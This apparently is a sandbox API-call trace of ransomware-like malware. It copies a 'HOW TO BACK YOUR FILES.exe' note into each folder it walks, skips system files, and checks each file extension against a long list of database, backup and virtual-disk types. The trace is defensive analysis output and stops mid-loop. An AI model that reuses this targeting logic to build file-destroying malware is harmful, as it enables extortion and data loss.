	[0076.468] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0076.468] GetLastError () returned 0x0
	[0076.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0076.468] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0076.468] CloseHandle (hObject=0x150) returned 1
	[0076.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0076.469] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.469] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0076.469] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.469] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.469] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.469] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.469] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.469] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.469] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.469] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.469] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.469] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.469] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="Apollon865.txt.exe") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2=".") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="..") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="windows") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="bootmgr") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="temp") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="pagefile.sys") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="boot") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="ids.txt") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="ntuser.dat") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="perflogs") returned 1
	[0076.469] lstrcmpiW (lpString1="x64", lpString2="MSBuild") returned 1
	[0076.469] lstrlenW (lpString="x64") returned 3
	[0076.469] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned 90
	[0076.469] lstrcpyW (in: lpString1=0x119e6ba, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0076.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0076.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0076.470] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0076.470] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0076.470] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0076.471] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0076.471] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0076.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0076.472] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0076.472] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 92
	[0076.472] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0076.472] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.472] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0076.472] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0076.473] GetLastError () returned 0x0
	[0076.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0076.473] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0076.473] CloseHandle (hObject=0x150) returned 1
	[0076.473] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0076.473] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.473] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0076.473] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.473] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.473] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.473] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.473] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.473] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.473] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.473] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.473] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f684dd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.473] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.473] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="Apollon865.txt.exe") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="..") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="windows") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="bootmgr") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="temp") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="pagefile.sys") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="boot") returned 1
	[0076.473] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ids.txt") returned 1
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ntuser.dat") returned 1
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="perflogs") returned 1
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="MSBuild") returned 1
	[0076.474] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0076.474] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned 94
	[0076.474] lstrcpyW (in: lpString1=0x119e6c2, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0076.474] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0076.474] lstrlenW (lpString="Apollon865") returned 10
	[0076.474] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0076.474] lstrlenW (lpString=".dll") returned 4
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0076.474] lstrlenW (lpString=".lnk") returned 4
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0076.474] lstrlenW (lpString=".ini") returned 4
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0076.474] lstrlenW (lpString=".sys") returned 4
	[0076.474] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0076.474] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0076.474] lstrlenW (lpString="bak") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="bak") returned 1
	[0076.474] lstrlenW (lpString="ba_") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="ba_") returned 1
	[0076.474] lstrlenW (lpString="dbb") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="dbb") returned 1
	[0076.474] lstrlenW (lpString="vmdk") returned 4
	[0076.474] lstrcmpiW (lpString1=".msu", lpString2="vmdk") returned -1
	[0076.474] lstrlenW (lpString="rar") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="rar") returned -1
	[0076.474] lstrlenW (lpString="zip") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="zip") returned -1
	[0076.474] lstrlenW (lpString="tgz") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="tgz") returned -1
	[0076.474] lstrlenW (lpString="vbox") returned 4
	[0076.474] lstrcmpiW (lpString1=".msu", lpString2="vbox") returned -1
	[0076.474] lstrlenW (lpString="vdi") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="vdi") returned -1
	[0076.474] lstrlenW (lpString="vhd") returned 3
	[0076.474] lstrcmpiW (lpString1="msu", lpString2="vhd") returned -1
	[0076.475] lstrlenW (lpString="vhdx") returned 4
	[0076.475] lstrcmpiW (lpString1=".msu", lpString2="vhdx") returned -1
	[0076.475] lstrlenW (lpString="avhd") returned 4
	[0076.475] lstrcmpiW (lpString1=".msu", lpString2="avhd") returned -1
	[0076.475] lstrlenW (lpString="db") returned 2
	[0076.475] lstrcmpiW (lpString1="su", lpString2="db") returned 1
	[0076.475] lstrlenW (lpString="db2") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="db2") returned 1
	[0076.475] lstrlenW (lpString="db3") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="db3") returned 1
	[0076.475] lstrlenW (lpString="dbf") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="dbf") returned 1
	[0076.475] lstrlenW (lpString="mdf") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="mdf") returned 1
	[0076.475] lstrlenW (lpString="mdb") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="mdb") returned 1
	[0076.475] lstrlenW (lpString="sql") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="sql") returned -1
	[0076.475] lstrlenW (lpString="sqlite") returned 6
	[0076.475] lstrcmpiW (lpString1="64.msu", lpString2="sqlite") returned -1
	[0076.475] lstrlenW (lpString="sqlite3") returned 7
	[0076.475] lstrcmpiW (lpString1="x64.msu", lpString2="sqlite3") returned 1
	[0076.475] lstrlenW (lpString="sqlitedb") returned 8
	[0076.475] lstrcmpiW (lpString1="-x64.msu", lpString2="sqlitedb") returned 1
	[0076.475] lstrlenW (lpString="xml") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="xml") returned -1
	[0076.475] lstrlenW (lpString="$er") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="$er") returned 1
	[0076.475] lstrlenW (lpString="4dd") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="4dd") returned 1
	[0076.475] lstrlenW (lpString="4dl") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="4dl") returned 1
	[0076.475] lstrlenW (lpString="^^^") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="^^^") returned 1
	[0076.475] lstrlenW (lpString="abs") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="abs") returned 1
	[0076.475] lstrlenW (lpString="abx") returned 3
	[0076.475] lstrcmpiW (lpString1="msu", lpString2="abx") returned 1
	[0076.476] lstrlenW (lpString="accdb") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accdb") returned -1
	[0076.476] lstrlenW (lpString="accdc") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accdc") returned -1
	[0076.476] lstrlenW (lpString="accde") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accde") returned -1
	[0076.476] lstrlenW (lpString="accdr") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accdr") returned -1
	[0076.476] lstrlenW (lpString="accdt") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accdt") returned -1
	[0076.476] lstrlenW (lpString="accdw") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accdw") returned -1
	[0076.476] lstrlenW (lpString="accft") returned 5
	[0076.476] lstrcmpiW (lpString1="4.msu", lpString2="accft") returned -1
	[0076.476] lstrlenW (lpString="adb") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="adb") returned 1
	[0076.476] lstrlenW (lpString="adb") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="adb") returned 1
	[0076.476] lstrlenW (lpString="ade") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="ade") returned 1
	[0076.476] lstrlenW (lpString="adf") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="adf") returned 1
	[0076.476] lstrlenW (lpString="adn") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="adn") returned 1
	[0076.476] lstrlenW (lpString="adp") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="adp") returned 1
	[0076.476] lstrlenW (lpString="alf") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="alf") returned 1
	[0076.476] lstrlenW (lpString="ask") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="ask") returned 1
	[0076.476] lstrlenW (lpString="btr") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="btr") returned 1
	[0076.476] lstrlenW (lpString="cat") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="cat") returned 1
	[0076.476] lstrlenW (lpString="cdb") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="cdb") returned 1
	[0076.476] lstrlenW (lpString="ckp") returned 3
	[0076.476] lstrcmpiW (lpString1="msu", lpString2="ckp") returned 1
	[0076.477] lstrlenW (lpString="cma") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="cma") returned 1
	[0076.477] lstrlenW (lpString="cpd") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="cpd") returned 1
	[0076.477] lstrlenW (lpString="dacpac") returned 6
	[0076.477] lstrcmpiW (lpString1="64.msu", lpString2="dacpac") returned -1
	[0076.477] lstrlenW (lpString="dad") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dad") returned 1
	[0076.477] lstrlenW (lpString="dadiagrams") returned 10
	[0076.477] lstrcmpiW (lpString1="26-x64.msu", lpString2="dadiagrams") returned -1
	[0076.477] lstrlenW (lpString="daschema") returned 8
	[0076.477] lstrcmpiW (lpString1="-x64.msu", lpString2="daschema") returned 1
	[0076.477] lstrlenW (lpString="db-journal") returned 10
	[0076.477] lstrcmpiW (lpString1="26-x64.msu", lpString2="db-journal") returned -1
	[0076.477] lstrlenW (lpString="db-shm") returned 6
	[0076.477] lstrcmpiW (lpString1="64.msu", lpString2="db-shm") returned -1
	[0076.477] lstrlenW (lpString="db-wal") returned 6
	[0076.477] lstrcmpiW (lpString1="64.msu", lpString2="db-wal") returned -1
	[0076.477] lstrlenW (lpString="dbc") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dbc") returned 1
	[0076.477] lstrlenW (lpString="dbs") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dbs") returned 1
	[0076.477] lstrlenW (lpString="dbt") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dbt") returned 1
	[0076.477] lstrlenW (lpString="dbv") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dbv") returned 1
	[0076.477] lstrlenW (lpString="dbx") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dbx") returned 1
	[0076.477] lstrlenW (lpString="dcb") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dcb") returned 1
	[0076.477] lstrlenW (lpString="dct") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dct") returned 1
	[0076.477] lstrlenW (lpString="dcx") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="dcx") returned 1
	[0076.477] lstrlenW (lpString="ddl") returned 3
	[0076.477] lstrcmpiW (lpString1="msu", lpString2="ddl") returned 1
	[0076.477] lstrlenW (lpString="dlis") returned 4
	[0076.477] lstrcmpiW (lpString1=".msu", lpString2="dlis") returned -1
	[0076.477] lstrlenW (lpString="dp1") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="dp1") returned 1
	[0076.478] lstrlenW (lpString="dqy") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="dqy") returned 1
	[0076.478] lstrlenW (lpString="dsk") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="dsk") returned 1
	[0076.478] lstrlenW (lpString="dsn") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="dsn") returned 1
	[0076.478] lstrlenW (lpString="dtsx") returned 4
	[0076.478] lstrcmpiW (lpString1=".msu", lpString2="dtsx") returned -1
	[0076.478] lstrlenW (lpString="dxl") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="dxl") returned 1
	[0076.478] lstrlenW (lpString="eco") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="eco") returned 1
	[0076.478] lstrlenW (lpString="ecx") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="ecx") returned 1
	[0076.478] lstrlenW (lpString="edb") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="edb") returned 1
	[0076.478] lstrlenW (lpString="epim") returned 4
	[0076.478] lstrcmpiW (lpString1=".msu", lpString2="epim") returned -1
	[0076.478] lstrlenW (lpString="fcd") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fcd") returned 1
	[0076.478] lstrlenW (lpString="fdb") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fdb") returned 1
	[0076.478] lstrlenW (lpString="fic") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fic") returned 1
	[0076.478] lstrlenW (lpString="flexolibrary") returned 12
	[0076.478] lstrcmpiW (lpString1="9226-x64.msu", lpString2="flexolibrary") returned -1
	[0076.478] lstrlenW (lpString="fm5") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fm5") returned 1
	[0076.478] lstrlenW (lpString="fmp") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fmp") returned 1
	[0076.478] lstrlenW (lpString="fmp12") returned 5
	[0076.478] lstrcmpiW (lpString1="4.msu", lpString2="fmp12") returned -1
	[0076.478] lstrlenW (lpString="fmpsl") returned 5
	[0076.478] lstrcmpiW (lpString1="4.msu", lpString2="fmpsl") returned -1
	[0076.478] lstrlenW (lpString="fol") returned 3
	[0076.478] lstrcmpiW (lpString1="msu", lpString2="fol") returned 1
	[0076.478] lstrlenW (lpString="fp3") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="fp3") returned 1
	[0076.479] lstrlenW (lpString="fp4") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="fp4") returned 1
	[0076.479] lstrlenW (lpString="fp5") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="fp5") returned 1
	[0076.479] lstrlenW (lpString="fp7") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="fp7") returned 1
	[0076.479] lstrlenW (lpString="fpt") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="fpt") returned 1
	[0076.479] lstrlenW (lpString="frm") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="frm") returned 1
	[0076.479] lstrlenW (lpString="gdb") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="gdb") returned 1
	[0076.479] lstrlenW (lpString="gdb") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="gdb") returned 1
	[0076.479] lstrlenW (lpString="grdb") returned 4
	[0076.479] lstrcmpiW (lpString1=".msu", lpString2="grdb") returned -1
	[0076.479] lstrlenW (lpString="gwi") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="gwi") returned 1
	[0076.479] lstrlenW (lpString="hdb") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="hdb") returned 1
	[0076.479] lstrlenW (lpString="his") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="his") returned 1
	[0076.479] lstrlenW (lpString="ib") returned 2
	[0076.479] lstrcmpiW (lpString1="su", lpString2="ib") returned 1
	[0076.479] lstrlenW (lpString="idb") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="idb") returned 1
	[0076.479] lstrlenW (lpString="ihx") returned 3
	[0076.479] lstrcmpiW (lpString1="msu", lpString2="ihx") returned 1
